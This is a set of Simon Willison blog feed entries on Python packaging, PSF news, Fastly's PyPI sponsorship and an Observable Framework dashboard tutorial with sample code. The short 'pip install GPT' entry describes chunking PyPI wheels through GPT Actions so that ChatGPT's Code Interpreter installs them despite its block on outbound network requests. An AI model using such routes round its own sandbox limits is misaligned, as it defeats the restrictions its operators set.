&lt;p&gt;For a broader set of perspectives on how the board works and what it does, I recommend the &lt;a href="https://www.youtube.com/watch?v=kD6cPBfR4A4"&gt;FAQs about the PSF Board&lt;/a&gt; video on YouTube.&lt;/p&gt;
&lt;p&gt;If you're interested in helping the PSF achieve its mission, we would love to have you involved:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Encourage your company to sponsor the PSF directly, or to sponsor Python events worldwide&lt;/li&gt;
&lt;li&gt;Volunteer at PyCon US or help with other suitable PSF initiatives&lt;/li&gt;
&lt;li&gt;Join a Work Group that's addressing problems you want to help solve&lt;/li&gt;
&lt;li&gt;Run your own event and &lt;a href="https://www.python.org/psf/grants/"&gt;apply for a grant&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Join the PSF as a voting member and vote in our elections&lt;/li&gt;
&lt;li&gt;Run for the board elections yourself!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We're always interested in hearing from our community. We host public office hours on the PSF Discord every month, at different times of day to to cater for people in different timezones - here's &lt;a href="https://pyfound.blogspot.com/2024/08/ask-questions-or-tell-us-what-you-think.html"&gt;the full calendar of upcoming office hours&lt;/a&gt;.&lt;/p&gt;
    
        &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/psf"&gt;psf&lt;/a&gt;&lt;/p&gt;
    

</summary><category term="pypi"/><category term="python"/><category term="psf"/></entry><entry><title>cibuildwheel 2.20.0 now builds Python 3.13 wheels by default</title><link href="https://simonwillison.net/2024/Aug/6/cibuildwheel/#atom-tag" rel="alternate"/><published>2024-08-06T22:54:44+00:00</published><updated>2024-08-06T22:54:44+00:00</updated><id>https://simonwillison.net/2024/Aug/6/cibuildwheel/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/pypa/cibuildwheel/releases/tag/v2.20.0"&gt;cibuildwheel 2.20.0 now builds Python 3.13 wheels by default&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;CPython 3.13 wheels are now built by default […] This release includes CPython 3.13.0rc1, which is guaranteed to be ABI compatible with the final release.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://cibuildwheel.pypa.io/"&gt;cibuildwheel&lt;/a&gt; is an underrated but crucial piece of the overall Python ecosystem.&lt;/p&gt;
&lt;p&gt;Python wheel packages that include binary compiled components - packages with C extensions for example - need to be built multiple times, once for each combination of Python version, operating system and architecture.&lt;/p&gt;
&lt;p&gt;A package like Adam Johnson’s &lt;a href="https://github.com/adamchainz/time-machine"&gt;time-machine&lt;/a&gt; - which bundles a &lt;a href="https://github.com/adamchainz/time-machine/blob/main/src/_time_machine.c"&gt;500 line C extension&lt;/a&gt; - can end up with &lt;a href="https://pypi.org/project/time-machine/#files"&gt;55 different wheel files&lt;/a&gt; with names like &lt;code&gt;time_machine-2.15.0-cp313-cp313-win_arm64.whl&lt;/code&gt; and &lt;code&gt;time_machine-2.15.0-cp38-cp38-musllinux_1_2_x86_64.whl&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Without these wheels, anyone who runs &lt;code&gt;pip install time-machine&lt;/code&gt; will need to have a working C compiler toolchain on their machine for the command to work.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cibuildwheel&lt;/code&gt; solves the problem of building all of those wheels for all of those different platforms on the CI provider of your choice. Adam is using it in GitHub Actions for &lt;code&gt;time-machine&lt;/code&gt;, and his &lt;a href="https://github.com/adamchainz/time-machine/blob/2.15.0/.github/workflows/build.yml"&gt;.github/workflows/build.yml&lt;/a&gt; file neatly demonstrates how concise the configuration can be once you figure out how to use it.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://www.python.org/downloads/release/python-3130rc1/"&gt;first release candidate of Python 3.13&lt;/a&gt; hit its target release date of August 1st, and the final version looks on schedule for release on the 1st of October. Since this rc should be binary compatible with the final build now is the time to start shipping those wheels to PyPI.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://twitter.com/adamchainz/status/1820821199850476004"&gt;@adamchainz&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/continuous-integration"&gt;continuous-integration&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/adam-johnson"&gt;adam-johnson&lt;/a&gt;&lt;/p&gt;



</summary><category term="continuous-integration"/><category term="packaging"/><category term="pypi"/><category term="python"/><category term="adam-johnson"/></entry><entry><title>pip install GPT</title><link href="https://simonwillison.net/2024/Jul/21/pip-install-gpt/#atom-tag" rel="alternate"/><published>2024-07-21T05:54:24+00:00</published><updated>2024-07-21T05:54:24+00:00</updated><id>https://simonwillison.net/2024/Jul/21/pip-install-gpt/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://chatgpt.com/g/g-470NtUZER-pip-install"&gt;pip install GPT&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
I've been uploading wheel files to ChatGPT in order to install them into Code Interpreter &lt;a href="https://til.simonwillison.net/llms/code-interpreter-expansions"&gt;for a while now&lt;/a&gt;. Nico Ritschel built a better way: this GPT can download wheels directly from PyPI and then install them.&lt;/p&gt;
&lt;p&gt;I didn't think this was possible, since Code Interpreter is blocked from making outbound network requests.&lt;/p&gt;
&lt;p&gt;Nico's trick uses a new-to-me feature of GPT Actions: you can &lt;a href="https://platform.openai.com/docs/actions/sending-files/returning-files"&gt;return up to ten files&lt;/a&gt; from an action call and ChatGPT will download those files to the same disk volume that Code Interpreter can access.&lt;/p&gt;
&lt;p&gt;Nico wired up a Val Town endpoint that can divide a PyPI wheel into multiple 9.5MB files (if necessary) to fit the file size limit for files returned to a GPT, then uses prompts to tell ChatGPT to combine the resulting files and treat them as installable wheels.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://twitter.com/nicoritschel/status/1814716092801294786"&gt;@nicoritschel&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai"&gt;ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/generative-ai"&gt;generative-ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/chatgpt"&gt;chatgpt&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llms"&gt;llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/code-interpreter"&gt;code-interpreter&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/coding-agents"&gt;coding-agents&lt;/a&gt;&lt;/p&gt;



</summary><category term="pypi"/><category term="python"/><category term="ai"/><category term="generative-ai"/><category term="chatgpt"/><category term="llms"/><category term="code-interpreter"/><category term="coding-agents"/></entry><entry><title>PSF announces a new five year commitment from Fastly</title><link href="https://simonwillison.net/2024/May/17/pypi-fastly/#atom-tag" rel="alternate"/><published>2024-05-17T13:52:16+00:00</published><updated>2024-05-17T13:52:16+00:00</updated><id>https://simonwillison.net/2024/May/17/pypi-fastly/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://fosstodon.org/@ThePSF/112456715341751673"&gt;PSF announces a new five year commitment from Fastly&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Fastly have been donating CDN resources to Python—most notably to the PyPI package index—for ten years now.&lt;/p&gt;

&lt;p&gt;The PSF just announced at PyCon US that Fastly have agreed to a new five year commitment. This is a really big deal, because it addresses the strategic risk of having a key sponsor like this who might change their support policy based on unexpected future conditions.&lt;/p&gt;

&lt;p&gt;Thanks, Fastly. Very much appreciated!


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/psf"&gt;psf&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/fastly"&gt;fastly&lt;/a&gt;&lt;/p&gt;



</summary><category term="pypi"/><category term="python"/><category term="psf"/><category term="fastly"/></entry><entry><title>Interesting ideas in Observable Framework</title><link href="https://simonwillison.net/2024/Mar/3/interesting-ideas-in-observable-framework/#atom-tag" rel="alternate"/><published>2024-03-03T17:54:21+00:00</published><updated>2024-03-03T17:54:21+00:00</updated><id>https://simonwillison.net/2024/Mar/3/interesting-ideas-in-observable-framework/#atom-tag</id><summary type="html">
    &lt;p&gt;Mike Bostock, &lt;a href="https://observablehq.com/blog/observable-2-0"&gt;Announcing: Observable Framework&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Today we’re launching &lt;a href="https://observablehq.com/product"&gt;Observable 2.0&lt;/a&gt; with a bold new vision: an open-source static site generator for building fast, beautiful data apps, dashboards, and reports.&lt;/p&gt;
&lt;p&gt;Our mission is to help teams communicate more effectively with data. Effective presentation of data is critical for deep insight, nuanced understanding, and informed decisions. Observable notebooks are great for ephemeral, &lt;em&gt;ad hoc&lt;/em&gt; data exploration. But notebooks aren't well-suited for polished dashboards and apps.&lt;/p&gt;
&lt;p&gt;Enter &lt;a href="https://observablehq.com/framework/"&gt;Observable Framework&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There are a lot of &lt;em&gt;really&lt;/em&gt; interesting ideas in Observable Framework.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2024/Mar/3/interesting-ideas-in-observable-framework/#static-site-dashboards"&gt;A static site generator for data projects and dashboards&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2024/Mar/3/interesting-ideas-in-observable-framework/#javascript-in-markdown"&gt;JavaScript in Markdown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2024/Mar/3/interesting-ideas-in-observable-framework/#everything-reactive"&gt;Everything is still reactive&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2024/Mar/3/interesting-ideas-in-observable-framework/#only-code-you-use"&gt;Only include the code that you use&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2024/Mar/3/interesting-ideas-in-observable-framework/#cache-data-at-build"&gt;Cache your data at build time&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2024/Mar/3/interesting-ideas-in-observable-framework/#comparison-to-observable-notebooks"&gt;Comparison to Observable Notebooks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://simonwillison.net/2024/Mar/3/interesting-ideas-in-observable-framework/#change-in-strategy"&gt;A change in strategy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id="static-site-dashboards"&gt;A static site generator for data projects and dashboards&lt;/h4&gt;
&lt;p&gt;At its heart, Observable Framework is a static site generator. You give it a mixture of Markdown and JavaScript (and potentially other languages too) and it compiles them all together into fast loading interactive pages.&lt;/p&gt;
&lt;p&gt;It ships with a full featured hot-reloading server, so you can edit those files in your editor, hit save and see the changes reflected instantly in your browser.&lt;/p&gt;
&lt;p&gt;Once you're happy with your work you can run a build command to turn it into a set of static files ready to deploy to a server - or you can use the &lt;code&gt;npm run deploy&lt;/code&gt; command to deploy it directly to Observable's own authenticated sharing platform.&lt;/p&gt;
&lt;h4 id="javascript-in-markdown"&gt;JavaScript in Markdown&lt;/h4&gt;
&lt;p&gt;The key to the design of Observable Framework is the way it uses JavaScript in Markdown to create interactive documents.&lt;/p&gt;
&lt;p&gt;Here's what that looks like:&lt;/p&gt;
&lt;div class="highlight highlight-text-md"&gt;&lt;pre&gt;&lt;span class="pl-mh"&gt;# &lt;span class="pl-en"&gt;This is a document&lt;/span&gt;&lt;/span&gt;

Markdown content goes here.

This will output 1870:

&lt;span class="pl-s"&gt;```&lt;/span&gt;&lt;span class="pl-en"&gt;js&lt;/span&gt;
&lt;span class="pl-c1"&gt;34&lt;/span&gt; &lt;span class="pl-k"&gt;*&lt;/span&gt; &lt;span class="pl-c1"&gt;55&lt;/span&gt;
&lt;span class="pl-s"&gt;```&lt;/span&gt;

And here's the current date and time, updating constantly:

&lt;span class="pl-s"&gt;```&lt;/span&gt;&lt;span class="pl-en"&gt;js&lt;/span&gt;
&lt;span class="pl-k"&gt;new&lt;/span&gt; &lt;span class="pl-en"&gt;Date&lt;/span&gt;(now)
&lt;span class="pl-s"&gt;```&lt;/span&gt;

The same thing as an inline string: ${new Date(now)}&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Any Markdown code block tagged &lt;code&gt;js&lt;/code&gt; will be executed as JavaScript in the user's browser. This is an &lt;em&gt;incredibly&lt;/em&gt; powerful abstraction - anything you can do in JavaScript (which these days is effectively anything at all) can now be seamlessly integrated into your document.&lt;/p&gt;
&lt;p&gt;In the above example the &lt;code&gt;now&lt;/code&gt; value is interesting - it's a special variable that provides the current time in milliseconds since the epoch, updating constantly. Because &lt;code&gt;now&lt;/code&gt; updates constantly, the display value of the cell and that inline expression will update constantly as well.&lt;/p&gt;
&lt;p&gt;If you've used Observable Notebooks before this will feel familiar - but notebooks involve code and markdown authored in separate cells. With Framework they are all now part of a single text document.&lt;/p&gt;
&lt;p&gt;Aside: when I tried the above example I found that the &lt;code&gt;${new Date(now)}&lt;/code&gt; inline expression displayed as &lt;code&gt;Mon Feb 19 2024 20:46:02 GMT-0800 (Pacific Standard Time)&lt;/code&gt; while the &lt;code&gt;js&lt;/code&gt; block displayed as &lt;code&gt;2024-02-20T04:46:02.641Z&lt;/code&gt;. That's because inline expressions use the JavaScript default string representation of the object, while the &lt;code&gt;js&lt;/code&gt; block uses the Observable &lt;code&gt;display()&lt;/code&gt; function which has its own rules for how to display different types of objects, &lt;a href="https://github.com/observablehq/inspector/blob/main/src/inspect.js"&gt;visible in inspect/src/inspect.js&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="everything-reactive"&gt;Everything is still reactive&lt;/h4&gt;
&lt;p&gt;The best feature of Observable Notebooks is their &lt;em&gt;reactivity&lt;/em&gt; - the way cells automatically refresh when other cells they depend on change. This is a big difference to Python's popular Jupyter notebooks, and is the signature feature of &lt;a href="https://marimo.io/"&gt;marimo&lt;/a&gt;, a new Python notebook tool.&lt;/p&gt;
&lt;p&gt;Observable Framework retains this feature in its new JavaScript Markdown documents.&lt;/p&gt;
&lt;p&gt;This is particularly useful when working with form inputs. You can drop an input onto a page and refer its value throughout the rest of the document, adding realtime interactivity to documents incredibly easily.&lt;/p&gt;
&lt;p&gt;Here's an example. I ported one of my &lt;a href="https://observablehq.com/@simonw/datasette-downloads-per-day-with-observable-plot"&gt;favourite notebooks&lt;/a&gt; to Framework, which provides a tool for viewing download statistics for my various Python packages.&lt;/p&gt;
&lt;p&gt;The Observable Framework version can be found at &lt;a href="https://simonw.github.io/observable-framework-experiments/package-downloads"&gt;https://simonw.github.io/observable-framework-experiments/package-downloads&lt;/a&gt; - source code &lt;a href="https://github.com/simonw/observable-framework-experiments/blob/main/docs/package-downloads.md?plain=1"&gt;here on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://static.simonwillison.net/static/2024/pypi-dashboard.gif" alt="Animated demo showing PyPI download stats for Datasette projects - as I switch a select menu between sqlite-utils and csv-diff and shot-scraper the displayed chart updates to match." style="max-width: 100%;" /&gt;&lt;/p&gt;
&lt;p&gt;This entire thing is just 57 lines of Markdown. Here's the code with additional comments (and presented in a slightly different order - the order of code blocks doesn't matter in Observable thanks to reactivity).&lt;/p&gt;
&lt;div class="highlight highlight-text-md"&gt;&lt;pre&gt;&lt;span class="pl-mh"&gt;# &lt;span class="pl-en"&gt;PyPI download stats for Datasette projects&lt;/span&gt;&lt;/span&gt;

Showing downloads for &lt;span class="pl-s"&gt;**&lt;/span&gt;${packageName}&lt;span class="pl-s"&gt;**&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It starts with a Markdown &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; heading and text that shows the name of the selected package.&lt;/p&gt;
&lt;div class="highlight highlight-text-md"&gt;&lt;pre&gt;&lt;span class="pl-s"&gt;```&lt;/span&gt;&lt;span class="pl-en"&gt;js&lt;/span&gt; echo
&lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-c1"&gt;packageName&lt;/span&gt; &lt;span class="pl-k"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;view&lt;/span&gt;(&lt;span class="pl-smi"&gt;Inputs&lt;/span&gt;.&lt;span class="pl-c1"&gt;select&lt;/span&gt;(packages, {
  value&lt;span class="pl-k"&gt;:&lt;/span&gt; &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;sqlite-utils&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;,
  label&lt;span class="pl-k"&gt;:&lt;/span&gt; &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;Package&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;
}));
&lt;span class="pl-s"&gt;```&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This block displays the select widget allowing the user to pick one of the items from the &lt;code&gt;packages&lt;/code&gt; array (defined later on).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Inputs.select()&lt;/code&gt; is a built-in method provided by Framework, described in the &lt;a href="https://observablehq.com/framework/lib/inputs"&gt;Observable Inputs&lt;/a&gt; documentation.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;view()&lt;/code&gt; function is new in Observable Framework - it's the thing that enables the reactivity, ensuring that updates to the input selection are acted on by other code blocks in the document.&lt;/p&gt;
&lt;p&gt;Because &lt;code&gt;packageName&lt;/code&gt; is defined with &lt;code&gt;const&lt;/code&gt; it becomes a variable that is visible to other &lt;code&gt;js&lt;/code&gt; blocks on the page. It's used by this next block:&lt;/p&gt;
&lt;div class="highlight highlight-text-md"&gt;&lt;pre&gt;&lt;span class="pl-s"&gt;```&lt;/span&gt;&lt;span class="pl-en"&gt;js&lt;/span&gt; echo
&lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-c1"&gt;data&lt;/span&gt; &lt;span class="pl-k"&gt;=&lt;/span&gt; &lt;span class="pl-smi"&gt;d3&lt;/span&gt;.&lt;span class="pl-en"&gt;json&lt;/span&gt;(
  &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;`&lt;/span&gt;https://datasette.io/content/stats.json?_size=max&amp;amp;package=&lt;span class="pl-s1"&gt;&lt;span class="pl-pse"&gt;${&lt;/span&gt;packageName&lt;span class="pl-pse"&gt;}&lt;/span&gt;&lt;/span&gt;&amp;amp;_sort_desc=date&amp;amp;_shape=array&lt;span class="pl-pds"&gt;`&lt;/span&gt;&lt;/span&gt;
);&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here we are fetching the data that we need for the chart. I'm using &lt;code&gt;d3.json()&lt;/code&gt; (all of D3 is available in Framework) to fetch the data from a URL that includes the selected package name.&lt;/p&gt;
&lt;p&gt;The data is coming from &lt;a href="https://datasette.io/"&gt;Datasette&lt;/a&gt;, using the Datasette JSON API. I have a SQLite table at &lt;a href="https://datasette.io/content/stats"&gt;datasette.io/content/stats&lt;/a&gt; that's updated once a day with the latest PyPI package statistics via a convoluted series of GitHub Actions workflows, &lt;a href="https://simonwillison.net/2021/Jul/28/baked-data/#baked-data-datasette-io"&gt;described previously&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Adding &lt;code&gt;.json&lt;/code&gt; to that URL returns the JSON, then I ask for rows for that particular package, sorted descending by date and returning the maximum number of rows (1,000) as a JSON array of objects.&lt;/p&gt;
&lt;p&gt;Now that we have &lt;code&gt;data&lt;/code&gt; as a variable we can manipulate it slightly for use with Observable Plot - parsing the SQLite string dates into JavaScript &lt;code&gt;Date&lt;/code&gt; objects:&lt;/p&gt;
&lt;div class="highlight highlight-text-md"&gt;&lt;pre&gt;&lt;span class="pl-s"&gt;```&lt;/span&gt;&lt;span class="pl-en"&gt;js&lt;/span&gt; echo
&lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-c1"&gt;data_with_dates&lt;/span&gt; &lt;span class="pl-k"&gt;=&lt;/span&gt; &lt;span class="pl-smi"&gt;data&lt;/span&gt;.&lt;span class="pl-en"&gt;map&lt;/span&gt;(&lt;span class="pl-k"&gt;function&lt;/span&gt;(&lt;span class="pl-smi"&gt;d&lt;/span&gt;) {
  d.date = d3.&lt;span class="pl-en"&gt;timeParse&lt;/span&gt;(&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;%Y-%m-%d&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;)(d.date);
  return d;
})
```&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This code is ready to render as a chart. I'm using &lt;a href="https://observablehq.com/plot"&gt;Observable Plot&lt;/a&gt; - also packaged with Framework:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;```js echo
Plot.plot({
  y: {
    grid: true,
    label: `${packageName} PyPI downloads per day`
  },
  width: width,
  marginLeft: 60,
  marks: [
    Plot.line(data_with_dates, {
      x: "date",
      y: "downloads",
      title: "downloads",
      tip: true
    })
  ]
})
```
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So we have one cell that lets the user pick the package they want, a cell that fetches that data, a cell that processes it and a cell that renders it as a chart.&lt;/p&gt;
&lt;p&gt;There's one more piece of the puzzle: where does that list of packages come from? I fetch that with another API call to Datasette. Here I'm using a SQL query executed against the &lt;a href="https://datasette.io/content"&gt;/content&lt;/a&gt; database directly:&lt;/p&gt;
&lt;div class="highlight highlight-text-md"&gt;&lt;pre&gt;&lt;span class="pl-s"&gt;```&lt;/span&gt;&lt;span class="pl-en"&gt;js&lt;/span&gt; echo
&lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-c1"&gt;packages_sql&lt;/span&gt; &lt;span class="pl-k"&gt;=&lt;/span&gt; &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;select package from stats group by package order by max(downloads) desc&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="pl-s"&gt;```&lt;/span&gt;
&lt;span class="pl-s"&gt;```&lt;/span&gt;&lt;span class="pl-en"&gt;js&lt;/span&gt; echo
&lt;span class="pl-k"&gt;const&lt;/span&gt; &lt;span class="pl-c1"&gt;packages&lt;/span&gt; &lt;span class="pl-k"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;fetch&lt;/span&gt;(
  &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;`&lt;/span&gt;https://datasette.io/content.json?sql=&lt;span class="pl-s1"&gt;&lt;span class="pl-pse"&gt;${&lt;/span&gt;&lt;span class="pl-c1"&gt;encodeURIComponent&lt;/span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class="pl-s"&gt;&lt;span class="pl-s1"&gt;    packages_sql&lt;/span&gt;&lt;/span&gt;
&lt;span class="pl-s"&gt;&lt;span class="pl-s1"&gt;  )&lt;span class="pl-pse"&gt;}&lt;/span&gt;&lt;/span&gt;&amp;amp;_size=max&amp;amp;_shape=arrayfirst&lt;span class="pl-pds"&gt;`&lt;/span&gt;&lt;/span&gt;
).&lt;span class="pl-c1"&gt;then&lt;/span&gt;((&lt;span class="pl-smi"&gt;r&lt;/span&gt;) &lt;span class="pl-k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="pl-smi"&gt;r&lt;/span&gt;.&lt;span class="pl-en"&gt;json&lt;/span&gt;());
&lt;span class="pl-s"&gt;```&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;_shape=arrayfirst&lt;/code&gt; is a shortcut for getting back a JSON array of the first column of the resulting rows.&lt;/p&gt;
&lt;p&gt;That's all there is to it! It's a pretty tiny amount of code for a full interactive dashboard.&lt;/p&gt;
&lt;h4 id="only-code-you-use"&gt;Only include the code that you use&lt;/h4&gt;
&lt;p&gt;You may have noticed that my dashboard example uses several additional libraries - &lt;code&gt;Inputs&lt;/code&gt; for the form element, &lt;code&gt;d3&lt;/code&gt; for the data fetching and &lt;code&gt;Plot&lt;/code&gt; for the chart rendering.&lt;/p&gt;
&lt;p&gt;Observable Framework is smart about these. It implements lazy loading in development mode, so code is only loaded the first time you attempt to use it in a cell.&lt;/p&gt;
&lt;p&gt;When you build and deploy your application, Framework automatically loads just the referenced library code from the &lt;a href="https://www.jsdelivr.com/"&gt;jsdelivr CDN&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id="cache-data-at-build"&gt;Cache your data at build time&lt;/h4&gt;
&lt;p&gt;One of the most interesting features of Framework is its &lt;a href="https://observablehq.com/framework/loaders"&gt;Data loader&lt;/a&gt; mechanism.&lt;/p&gt;
&lt;p&gt;Dashboards built using Framework can load data at runtime from anywhere using &lt;code&gt;fetch()&lt;/code&gt; requests (or wrappers around them). This is how Observable Notebooks work too, but it leaves the performance of your dashboard at the mercy of whatever backends you are talking to.&lt;/p&gt;
&lt;p&gt;Dashboards benefit from fast loading times. Framework encourages a pattern where you build the data for the dashboard at deploy time, bundling it together into static files containing just the subset of the data needed for the dashboard. These can be served lightning fast from the same static hosting as the dashboard code itself.&lt;/p&gt;
&lt;p&gt;The design of the data loaders is beautifully simple and powerful. A data loader is a script that can be written in &lt;em&gt;any&lt;/em&gt; programming language. At build time, Framework executes that script and saves whatever is outputs to a file.&lt;/p&gt;
&lt;p&gt;A data loader can be as simple as the following, saved as &lt;code&gt;quakes.json.sh&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;curl https://earthquake.usgs.gov/earthquakes/feed/v1.0/summary/all_day.geojson&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;When the application is built, that filename tells Framework the destination file (&lt;code&gt;quakes.json&lt;/code&gt;) and the loader to execute (&lt;code&gt;.sh&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;This means you can load data from any source using any technology you like, provided it has the ability to output JSON or CSV or some other useful format to standard output.&lt;/p&gt;
&lt;h4 id="comparison-to-observable-notebooks"&gt;Comparison to Observable Notebooks&lt;/h4&gt;
&lt;p&gt;Mike introduced Observable Framework as &lt;em&gt;Observable 2.0&lt;/em&gt;. It's worth reviewing how the this system compares to the original Observable Notebook platform.&lt;/p&gt;
&lt;p&gt;I've been a huge fan of Observable Notebooks for years - &lt;a href="https://simonwillison.net/tags/observable/"&gt;38 blog posts and counting&lt;/a&gt;! The most obvious comparison is to Jupyter Notebooks, where they have some key differences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Observable notebooks use JavaScript, not Python.&lt;/li&gt;
&lt;li&gt;The notebook editor itself isn't open source - it's a hosted product provided on &lt;a href="https://observablehq.com/"&gt;observablehq.com&lt;/a&gt;. You can export the notebooks as static files and run them anywhere you like, but the editor itself is a proprietary product.&lt;/li&gt;
&lt;li&gt;Observable cells are &lt;em&gt;reactive&lt;/em&gt;. This is the key difference with Jupyter: any time you change a cell all other cells that depend on that cell are automatically re-evaluated, similar to Excel.&lt;/li&gt;
&lt;li&gt;The JavaScript syntax they use isn't quite standard JavaScript - they had to invent a new &lt;code&gt;viewof&lt;/code&gt; keyword to support their reactivity model.&lt;/li&gt;
&lt;li&gt;Editable notebooks are a pretty complex proprietary file format. They don't play well with tools like Git, to the point that Observable ended up implementing their own custom version control and collaboration systems.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Observable Framework reuses many of the ideas (and code) from Observable Notebooks, but with some crucial differences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Notebooks (really documents) are now &lt;strong&gt;single text files&lt;/strong&gt; - Markdown files with embedded JavaScript blocks. It's all still reactive, but the file format is much simpler and can be edited using any text editor, and checked into Git.&lt;/li&gt;
&lt;li&gt;It's &lt;strong&gt;all open source&lt;/strong&gt;. Everything is under an ISC license (OSI approved) and you can run the full editing stack on your own machine.&lt;/li&gt;
&lt;li&gt;It's all just standard JavaScript now - &lt;strong&gt;no custom syntax&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="change-in-strategy"&gt;A change in strategy&lt;/h4&gt;
&lt;p&gt;Reading the tea leaves a bit, this also looks to me like a strategic change of direction for Observable as a company. Their previous focus was on building great collaboration tools for data science and analytics teams, based around the proprietary Observable Notebook editor.&lt;/p&gt;
&lt;p&gt;With Framework they appear to be leaning more into the developer tools space.&lt;/p&gt;
&lt;p&gt;On Twitter &lt;a href="http://twitter.com/observablehq"&gt;@observablehq&lt;/a&gt; describes itself as "The end-to-end solution for developers who want to build and host dashboards that don’t suck" - the Internet Archive copy &lt;a href="https://web.archive.org/web/20231003212202/https://twitter.com/observablehq"&gt;from October 3rd 2023&lt;/a&gt; showed "Build data visualizations, dashboards, and data apps that impact your business — faster."&lt;/p&gt;
